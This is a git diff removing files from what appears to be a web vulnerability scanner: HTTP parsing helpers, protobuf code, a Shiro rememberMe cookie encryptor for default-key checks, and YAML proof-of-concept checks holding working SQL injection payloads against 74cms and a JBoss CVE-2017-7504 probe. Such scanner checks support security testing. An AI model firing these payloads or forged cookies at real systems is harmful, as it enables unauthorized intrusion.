- if err != nil {
- common.LogError("响应解析失败: " + err.Error())
- }
-
- return resp, err
-}
-
-// ParseUrl 解析 TargetURL 并转换为自定义 TargetURL 类型
-func ParseUrl(u *url.URL) *UrlType {
- return &UrlType{
- Scheme: u.Scheme,
- Domain: u.Hostname(),
- Host: u.Host,
- Port: u.Port(),
- Path: u.EscapedPath(),
- Query: u.RawQuery,
- Fragment: u.Fragment,
- }
-}
-
-// ParseRequest 将标准 HTTP 请求转换为自定义请求对象
-func ParseRequest(oReq *http.Request) (*Request, error) {
- req := &Request{
- Method: oReq.Method,
- Url: ParseUrl(oReq.URL),
- Headers: make(map[string]string),
- ContentType: oReq.Header.Get("Content-Type"),
- }
-
- // 复制请求头
- for k := range oReq.Header {
- req.Headers[k] = oReq.Header.Get(k)
- }
-
- // 处理请求体
- if oReq.Body != nil && oReq.Body != http.NoBody {
- data, err := io.ReadAll(oReq.Body)
- if err != nil {
- return nil, fmt.Errorf("读取请求体失败: %w", err)
- }
- req.Body = data
- // 重新设置请求体,允许后续重复读取
- oReq.Body = io.NopCloser(bytes.NewBuffer(data))
- }
-
- return req, nil
-}
-
-// ParseResponse 将标准 HTTP 响应转换为自定义响应对象
-func ParseResponse(oResp *http.Response) (*Response, error) {
- resp := Response{
- Status: int32(oResp.StatusCode),
- Url: ParseUrl(oResp.Request.URL),
- Headers: make(map[string]string),
- ContentType: oResp.Header.Get("Content-Type"),
- }
-
- // 复制响应头,合并多值头部为分号分隔的字符串
- for k := range oResp.Header {
- resp.Headers[k] = strings.Join(oResp.Header.Values(k), ";")
- }
-
- // 读取并解析响应体
- body, err := getRespBody(oResp)
- if err != nil {
- return nil, fmt.Errorf("处理响应体失败: %w", err)
- }
- resp.Body = body
-
- return &resp, nil
-}
-
-// getRespBody 读取 HTTP 响应体并处理可能的 gzip 压缩
-func getRespBody(oResp *http.Response) ([]byte, error) {
- // 读取原始响应体
- body, err := io.ReadAll(oResp.Body)
- if err != nil && err != io.EOF && len(body) == 0 {
- return nil, err
- }
-
- // 处理 gzip 压缩
- if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") {
- reader, err := gzip.NewReader(bytes.NewReader(body))
- if err != nil {
- return body, nil // 如果解压失败,返回原始数据
- }
- defer reader.Close()
-
- decompressed, err := io.ReadAll(reader)
- if err != nil && err != io.EOF && len(decompressed) == 0 {
- return nil, err
- }
- if len(decompressed) == 0 && len(body) != 0 {
- return body, nil
- }
- return decompressed, nil
- }
-
- return body, nil
-}
diff --git a/WebScan/lib/Shiro.go b/WebScan/lib/Shiro.go
deleted file mode 100644
index ce24978..0000000
--- a/WebScan/lib/Shiro.go
+++ /dev/null
@@ -1,102 +0,0 @@
-package lib
-
-import (
- "bytes"
- "crypto/aes"
- "crypto/cipher"
- "crypto/rand"
- "encoding/base64"
- "io"
-
- uuid "github.com/satori/go.uuid"
-)
-
-var (
- // CheckContent 是经过base64编码的Shiro序列化对象
- CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="
- // Content 是解码后的原始内容
- Content, _ = base64.StdEncoding.DecodeString(CheckContent)
-)
-
-// Padding 对明文进行PKCS7填充
-func Padding(plainText []byte, blockSize int) []byte {
- // 计算需要填充的长度
- paddingLength := blockSize - len(plainText)%blockSize
-
- // 使用paddingLength个paddingLength值进行填充
- paddingText := bytes.Repeat([]byte{byte(paddingLength)}, paddingLength)
-
- return append(plainText, paddingText...)
-}
-
-// GetShrioCookie 获取加密后的Shiro Cookie值
-func GetShrioCookie(key, mode string) string {
- if mode == "gcm" {
- return AES_GCM_Encrypt(key)
- }
- return AES_CBC_Encrypt(key)
-}
-
-// AES_CBC_Encrypt 使用AES-CBC模式加密
-func AES_CBC_Encrypt(shirokey string) string {
- // 解码密钥
- key, err := base64.StdEncoding.DecodeString(shirokey)
- if err != nil {
- return ""
- }
-
- // 创建AES加密器
- block, err := aes.NewCipher(key)
- if err != nil {
- return ""
- }
-
- // PKCS7填充
- paddedContent := Padding(Content, block.BlockSize())
-
- // 生成随机IV
- iv := uuid.NewV4().Bytes()
-
- // 创建CBC加密器
- blockMode := cipher.NewCBCEncrypter(block, iv)
-
- // 加密数据
- cipherText := make([]byte, len(paddedContent))
- blockMode.CryptBlocks(cipherText, paddedContent)
-
- // 拼接IV和密文并base64编码
- return base64.StdEncoding.EncodeToString(append(iv, cipherText...))
-}
-
-// AES_GCM_Encrypt 使用AES-GCM模式加密(Shiro 1.4.2+)
-func AES_GCM_Encrypt(shirokey string) string {
- // 解码密钥
- key, err := base64.StdEncoding.DecodeString(shirokey)
- if err != nil {
- return ""
- }
-
- // 创建AES加密器
- block, err := aes.NewCipher(key)
- if err != nil {
- return ""
- }
-
- // 生成16字节随机数作为nonce
- nonce := make([]byte, 16)
- if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
- return ""
- }
-
- // 创建GCM加密器
- aesgcm, err := cipher.NewGCMWithNonceSize(block, 16)
- if err != nil {
- return ""
- }
-
- // 加密数据
- ciphertext := aesgcm.Seal(nil, nonce, Content, nil)
-
- // 拼接nonce和密文并base64编码
- return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
-}
diff --git a/WebScan/lib/http.pb.go b/WebScan/lib/http.pb.go
deleted file mode 100644
index 8265534..0000000
--- a/WebScan/lib/http.pb.go
+++ /dev/null
@@ -1,520 +0,0 @@
-//go:generate protoc --go_out=. http.proto
-
-// Code generated by protoc-gen-go. DO NOT EDIT.
-// versions:
-// protoc-gen-go v1.26.0
-// protoc v3.20.3
-// source: http.proto
-
-package lib
-
-import (
- protoreflect "google.golang.org/protobuf/reflect/protoreflect"
- protoimpl "google.golang.org/protobuf/runtime/protoimpl"
- reflect "reflect"
- sync "sync"
-)
-
-const (
- // Verify that this generated code is sufficiently up-to-date.
- _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
- // Verify that runtime/protoimpl is sufficiently up-to-date.
- _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
-)
-
-type UrlType struct {
- state protoimpl.MessageState
- sizeCache protoimpl.SizeCache
- unknownFields protoimpl.UnknownFields
-
- Scheme string `protobuf:"bytes,1,opt,name=scheme,proto3" json:"scheme,omitempty"`
- Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
- Host string `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"`
- Port string `protobuf:"bytes,4,opt,name=port,proto3" json:"port,omitempty"`
- Path string `protobuf:"bytes,5,opt,name=path,proto3" json:"path,omitempty"`
- Query string `protobuf:"bytes,6,opt,name=query,proto3" json:"query,omitempty"`
- Fragment string `protobuf:"bytes,7,opt,name=fragment,proto3" json:"fragment,omitempty"`
-}
-
-func (x *UrlType) Reset() {
- *x = UrlType{}
- if protoimpl.UnsafeEnabled {
- mi := &file_http_proto_msgTypes[0]
- ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
- ms.StoreMessageInfo(mi)
- }
-}
-
-func (x *UrlType) String() string {
- return protoimpl.X.MessageStringOf(x)
-}
-
-func (*UrlType) ProtoMessage() {}
-
-func (x *UrlType) ProtoReflect() protoreflect.Message {
- mi := &file_http_proto_msgTypes[0]
- if protoimpl.UnsafeEnabled && x != nil {
- ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
- if ms.LoadMessageInfo() == nil {
- ms.StoreMessageInfo(mi)
- }
- return ms
- }
- return mi.MessageOf(x)
-}
-
-// Deprecated: Use UrlType.ProtoReflect.Descriptor instead.
-func (*UrlType) Descriptor() ([]byte, []int) {
- return file_http_proto_rawDescGZIP(), []int{0}
-}
-
-func (x *UrlType) GetScheme() string {
- if x != nil {
- return x.Scheme
- }
- return ""
-}
-
-func (x *UrlType) GetDomain() string {
- if x != nil {
- return x.Domain
- }
- return ""
-}
-
-func (x *UrlType) GetHost() string {
- if x != nil {
- return x.Host
- }
- return ""
-}
-
-func (x *UrlType) GetPort() string {
- if x != nil {
- return x.Port
- }
- return ""
-}
-
-func (x *UrlType) GetPath() string {
- if x != nil {
- return x.Path
- }
- return ""
-}
-
-func (x *UrlType) GetQuery() string {
- if x != nil {
- return x.Query
- }
- return ""
-}
-
-func (x *UrlType) GetFragment() string {
- if x != nil {
- return x.Fragment
- }
- return ""
-}
-
-type Request struct {
- state protoimpl.MessageState
- sizeCache protoimpl.SizeCache
- unknownFields protoimpl.UnknownFields
-
- Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
- Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
- Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
- ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
- Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
-}
-
-func (x *Request) Reset() {
- *x = Request{}
- if protoimpl.UnsafeEnabled {
- mi := &file_http_proto_msgTypes[1]
- ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
- ms.StoreMessageInfo(mi)
- }
-}
-
-func (x *Request) String() string {
- return protoimpl.X.MessageStringOf(x)
-}
-
-func (*Request) ProtoMessage() {}
-
-func (x *Request) ProtoReflect() protoreflect.Message {
- mi := &file_http_proto_msgTypes[1]
- if protoimpl.UnsafeEnabled && x != nil {
- ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
- if ms.LoadMessageInfo() == nil {
- ms.StoreMessageInfo(mi)
- }
- return ms
- }
- return mi.MessageOf(x)
-}
-
-// Deprecated: Use Request.ProtoReflect.Descriptor instead.
-func (*Request) Descriptor() ([]byte, []int) {
- return file_http_proto_rawDescGZIP(), []int{1}
-}
-
-func (x *Request) GetUrl() *UrlType {
- if x != nil {
- return x.Url
- }
- return nil
-}
-
-func (x *Request) GetMethod() string {
- if x != nil {
- return x.Method
- }
- return ""
-}
-
-func (x *Request) GetHeaders() map[string]string {
- if x != nil {
- return x.Headers
- }
- return nil
-}
-
-func (x *Request) GetContentType() string {
- if x != nil {
- return x.ContentType
- }
- return ""
-}
-
-func (x *Request) GetBody() []byte {
- if x != nil {
- return x.Body
- }
- return nil
-}
-
-type Response struct {
- state protoimpl.MessageState
- sizeCache protoimpl.SizeCache
- unknownFields protoimpl.UnknownFields
-
- Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
- Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
- Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
- ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
- Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
- Duration float64 `protobuf:"fixed64,6,opt,name=duration,proto3" json:"duration,omitempty"`
-}
-
-func (x *Response) Reset() {
- *x = Response{}
- if protoimpl.UnsafeEnabled {
- mi := &file_http_proto_msgTypes[2]
- ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
- ms.StoreMessageInfo(mi)
- }
-}
-
-func (x *Response) String() string {
- return protoimpl.X.MessageStringOf(x)
-}
-
-func (*Response) ProtoMessage() {}
-
-func (x *Response) ProtoReflect() protoreflect.Message {
- mi := &file_http_proto_msgTypes[2]
- if protoimpl.UnsafeEnabled && x != nil {
- ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
- if ms.LoadMessageInfo() == nil {
- ms.StoreMessageInfo(mi)
- }
- return ms
- }
- return mi.MessageOf(x)
-}
-
-// Deprecated: Use Response.ProtoReflect.Descriptor instead.
-func (*Response) Descriptor() ([]byte, []int) {
- return file_http_proto_rawDescGZIP(), []int{2}
-}
-
-func (x *Response) GetUrl() *UrlType {
- if x != nil {
- return x.Url
- }
- return nil
-}
-
-func (x *Response) GetStatus() int32 {
- if x != nil {
- return x.Status
- }
- return 0
-}
-
-func (x *Response) GetHeaders() map[string]string {
- if x != nil {
- return x.Headers
- }
- return nil
-}
-
-func (x *Response) GetContentType() string {
- if x != nil {
- return x.ContentType
- }
- return ""
-}
-
-func (x *Response) GetBody() []byte {
- if x != nil {
- return x.Body
- }
- return nil
-}
-
-func (x *Response) GetDuration() float64 {
- if x != nil {
- return x.Duration
- }
- return 0
-}
-
-type Reverse struct {
- state protoimpl.MessageState
- sizeCache protoimpl.SizeCache
- unknownFields protoimpl.UnknownFields
-
- Url string `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
- Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
- Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
- IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
-}
-
-func (x *Reverse) Reset() {
- *x = Reverse{}
- if protoimpl.UnsafeEnabled {
- mi := &file_http_proto_msgTypes[3]
- ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
- ms.StoreMessageInfo(mi)
- }
-}
-
-func (x *Reverse) String() string {
- return protoimpl.X.MessageStringOf(x)
-}
-
-func (*Reverse) ProtoMessage() {}
-
-func (x *Reverse) ProtoReflect() protoreflect.Message {
- mi := &file_http_proto_msgTypes[3]
- if protoimpl.UnsafeEnabled && x != nil {
- ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
- if ms.LoadMessageInfo() == nil {
- ms.StoreMessageInfo(mi)
- }
- return ms
- }
- return mi.MessageOf(x)
-}
-
-// Deprecated: Use Reverse.ProtoReflect.Descriptor instead.
-func (*Reverse) Descriptor() ([]byte, []int) {
- return file_http_proto_rawDescGZIP(), []int{3}
-}
-
-func (x *Reverse) GetUrl() string {
- if x != nil {
- return x.Url
- }
- return ""
-}
-
-func (x *Reverse) GetDomain() string {
- if x != nil {
- return x.Domain
- }
- return ""
-}
-
-func (x *Reverse) GetIp() string {
- if x != nil {
- return x.Ip
- }
- return ""
-}
-
-func (x *Reverse) GetIsDomainNameServer() bool {
- if x != nil {
- return x.IsDomainNameServer
- }
- return false
-}
-
-var File_http_proto protoreflect.FileDescriptor
-
-var file_http_proto_rawDesc = []byte{
- 0x0a, 0x0a, 0x68, 0x74, 0x74, 0x70, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x03, 0x6c, 0x69,
- 0x62, 0x22, 0xa7, 0x01, 0x0a, 0x07, 0x55, 0x72, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a,
- 0x06, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x73,
- 0x63, 0x68, 0x65, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18,
- 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a,
- 0x04, 0x68, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x68, 0x6f, 0x73,
- 0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
- 0x04, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, 0x05, 0x20,
- 0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x71, 0x75, 0x65,
- 0x72, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12,
- 0x1a, 0x0a, 0x08, 0x66, 0x72, 0x61, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28,
- 0x09, 0x52, 0x08, 0x66, 0x72, 0x61, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0xe9, 0x01, 0x0a, 0x07,
- 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x03, 0x75, 0x72, 0x6c, 0x18, 0x01,
- 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0c, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x55, 0x72, 0x6c, 0x54, 0x79,
- 0x70, 0x65, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f,
- 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x6d, 0x65, 0x74, 0x68, 0x6f, 0x64, 0x12,
- 0x33, 0x0a, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b,
- 0x32, 0x19, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x48,
- 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x68, 0x65, 0x61,
- 0x64, 0x65, 0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x5f,
- 0x74, 0x79, 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74,
- 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18,
- 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x1a, 0x3a, 0x0a, 0x0c, 0x48,
- 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b,
- 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a,
- 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61,
- 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x87, 0x02, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70,
- 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x03, 0x75, 0x72, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28,
- 0x0b, 0x32, 0x0c, 0x2e, 0x6c, 0x69, 0x62, 0x2e, 0x55, 0x72, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x52,
- 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x02,
- 0x20, 0x01, 0x28, 0x05, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x34, 0x0a, 0x07,
- 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e,
- 0x6c, 0x69, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x48, 0x65, 0x61,
- 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65,
- 0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x5f, 0x74, 0x79,
- 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e,
- 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18, 0x05, 0x20,
- 0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x75, 0x72,
- 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01, 0x28, 0x01, 0x52, 0x08, 0x64, 0x75, 0x72,
- 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x3a, 0x0a, 0x0c, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73,
- 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65,
- 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38,
- 0x01, 0x22, 0x76, 0x0a, 0x07, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03,
- 0x75, 0x72, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16,
- 0x0a, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06,
- 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x70, 0x18, 0x03, 0x20, 0x01,
- 0x28, 0x09, 0x52, 0x02, 0x69, 0x70, 0x12, 0x31, 0x0a, 0x15, 0x69, 0x73, 0x5f, 0x64, 0x6f, 0x6d,
- 0x61, 0x69, 0x6e, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x5f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18,
- 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x69, 0x73, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4e,
- 0x61, 0x6d, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x42, 0x08, 0x5a, 0x06, 0x2e, 0x2f, 0x3b,
- 0x6c, 0x69, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
-}
-
-var (
- file_http_proto_rawDescOnce sync.Once
- file_http_proto_rawDescData = file_http_proto_rawDesc
-)
-
-func file_http_proto_rawDescGZIP() []byte {
- file_http_proto_rawDescOnce.Do(func() {
- file_http_proto_rawDescData = protoimpl.X.CompressGZIP(file_http_proto_rawDescData)
- })
- return file_http_proto_rawDescData
-}
-
-var file_http_proto_msgTypes = make([]protoimpl.MessageInfo, 6)
-var file_http_proto_goTypes = []interface{}{
- (*UrlType)(nil), // 0: lib.UrlType
- (*Request)(nil), // 1: lib.Request
- (*Response)(nil), // 2: lib.Response
- (*Reverse)(nil), // 3: lib.Reverse
- nil, // 4: lib.Request.HeadersEntry
- nil, // 5: lib.Response.HeadersEntry
-}
-var file_http_proto_depIdxs = []int32{
- 0, // 0: lib.Request.url:type_name -> lib.UrlType
- 4, // 1: lib.Request.headers:type_name -> lib.Request.HeadersEntry
- 0, // 2: lib.Response.url:type_name -> lib.UrlType
- 5, // 3: lib.Response.headers:type_name -> lib.Response.HeadersEntry
- 4, // [4:4] is the sub-list for method output_type
- 4, // [4:4] is the sub-list for method input_type
- 4, // [4:4] is the sub-list for extension type_name
- 4, // [4:4] is the sub-list for extension extendee
- 0, // [0:4] is the sub-list for field type_name
-}
-
-func init() { file_http_proto_init() }
-func file_http_proto_init() {
- if File_http_proto != nil {
- return
- }
- if !protoimpl.UnsafeEnabled {
- file_http_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
- switch v := v.(*UrlType); i {
- case 0:
- return &v.state
- case 1:
- return &v.sizeCache
- case 2:
- return &v.unknownFields
- default:
- return nil
- }
- }
- file_http_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
- switch v := v.(*Request); i {
- case 0:
- return &v.state
- case 1:
- return &v.sizeCache
- case 2:
- return &v.unknownFields
- default:
- return nil
- }
- }
- file_http_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
- switch v := v.(*Response); i {
- case 0:
- return &v.state
- case 1:
- return &v.sizeCache
- case 2:
- return &v.unknownFields
- default:
- return nil
- }
- }
- file_http_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
- switch v := v.(*Reverse); i {
- case 0:
- return &v.state
- case 1:
- return &v.sizeCache
- case 2:
- return &v.unknownFields
- default:
- return nil
- }
- }
- }
- type x struct{}
- out := protoimpl.TypeBuilder{
- File: protoimpl.DescBuilder{
- GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
- RawDescriptor: file_http_proto_rawDesc,
- NumEnums: 0,
- NumMessages: 6,
- NumExtensions: 0,
- NumServices: 0,
- },
- GoTypes: file_http_proto_goTypes,
- DependencyIndexes: file_http_proto_depIdxs,
- MessageInfos: file_http_proto_msgTypes,
- }.Build()
- File_http_proto = out.File
- file_http_proto_rawDesc = nil
- file_http_proto_goTypes = nil
- file_http_proto_depIdxs = nil
-}
diff --git a/WebScan/lib/http.proto b/WebScan/lib/http.proto
deleted file mode 100644
index f03e276..0000000
--- a/WebScan/lib/http.proto
+++ /dev/null
@@ -1,38 +0,0 @@
-syntax = "proto3";
-package lib;
-
-option go_package = "./;lib";
-
-message UrlType {
- string scheme = 1;
- string domain = 2;
- string host = 3;
- string port = 4;
- string path = 5;
- string query = 6;
- string fragment = 7;
-}
-
-message Request {
- UrlType url = 1;
- string method = 2;
- map headers = 3;
- string content_type = 4;
- bytes body = 5;
-}
-
-message Response {
- UrlType url = 1;
- int32 status = 2 ;
- map headers = 3;
- string content_type = 4;
- bytes body = 5;
- double duration = 6;
-}
-
-message Reverse {
- string url = 1;
- string domain = 2;
- string ip = 3;
- bool is_domain_name_server = 4;
-}
diff --git a/WebScan/pocs/74cms-sqli-1.yml b/WebScan/pocs/74cms-sqli-1.yml
deleted file mode 100644
index 0b1d6aa..0000000
--- a/WebScan/pocs/74cms-sqli-1.yml
+++ /dev/null
@@ -1,16 +0,0 @@
-name: poc-yaml-74cms-sqli-1
-set:
- rand: randomInt(200000000, 210000000)
-rules:
- - method: POST
- path: /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709\xc3\x97tamp=&nonce=
- headers:
- Content-Type: 'text/xml'
- body: ]>&test;111112331%' union select md5({{rand}})#
- follow_redirects: false
- expression: |
- response.body.bcontains(bytes(md5(string(rand))))
-detail:
- author: betta(https://github.com/betta-cyber)
- links:
- - https://www.uedbox.com/post/29340
diff --git a/WebScan/pocs/74cms-sqli-2.yml b/WebScan/pocs/74cms-sqli-2.yml
deleted file mode 100644
index ed6f4ae..0000000
--- a/WebScan/pocs/74cms-sqli-2.yml
+++ /dev/null
@@ -1,12 +0,0 @@
-name: poc-yaml-74cms-sqli-2
-set:
- rand: randomInt(200000000, 210000000)
-rules:
- - method: GET
- path: /plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{rand}}),5,6,7,8,9%23
- expression: |
- response.body.bcontains(bytes(md5(string(rand))))
-detail:
- author: rexus
- links:
- - https://www.uedbox.com/post/30019/
diff --git a/WebScan/pocs/74cms-sqli.yml b/WebScan/pocs/74cms-sqli.yml
deleted file mode 100644
index cff0f68..0000000
--- a/WebScan/pocs/74cms-sqli.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-name: poc-yaml-74cms-sqli
-rules:
- - method: GET
- path: /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and extractvalue(1,concat(0x7e,md5(99999999))) -- a
- expression: |
- response.body.bcontains(b"ef775988943825d2871e1cfa75473ec")
-detail:
- author: jinqi
- links:
- - https://www.t00ls.net/articles-54436.html
diff --git a/WebScan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml b/WebScan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml
deleted file mode 100644
index da06f09..0000000
--- a/WebScan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-name: poc-yaml-CVE-2017-7504-Jboss-serialization-RCE
-rules:
- - method: GET
- path: /jbossmq-httpil/HTTPServerILServlet
- expression: |
- response.status == 200 && response.body.bcontains(b'This is the JBossMQ HTTP-IL')
-detail:
- author: mamba
- description: "CVE-2017-7504-Jboss-serialization-RCE by chaosec公众号"
- links:
- - https://github.com/chaosec2021
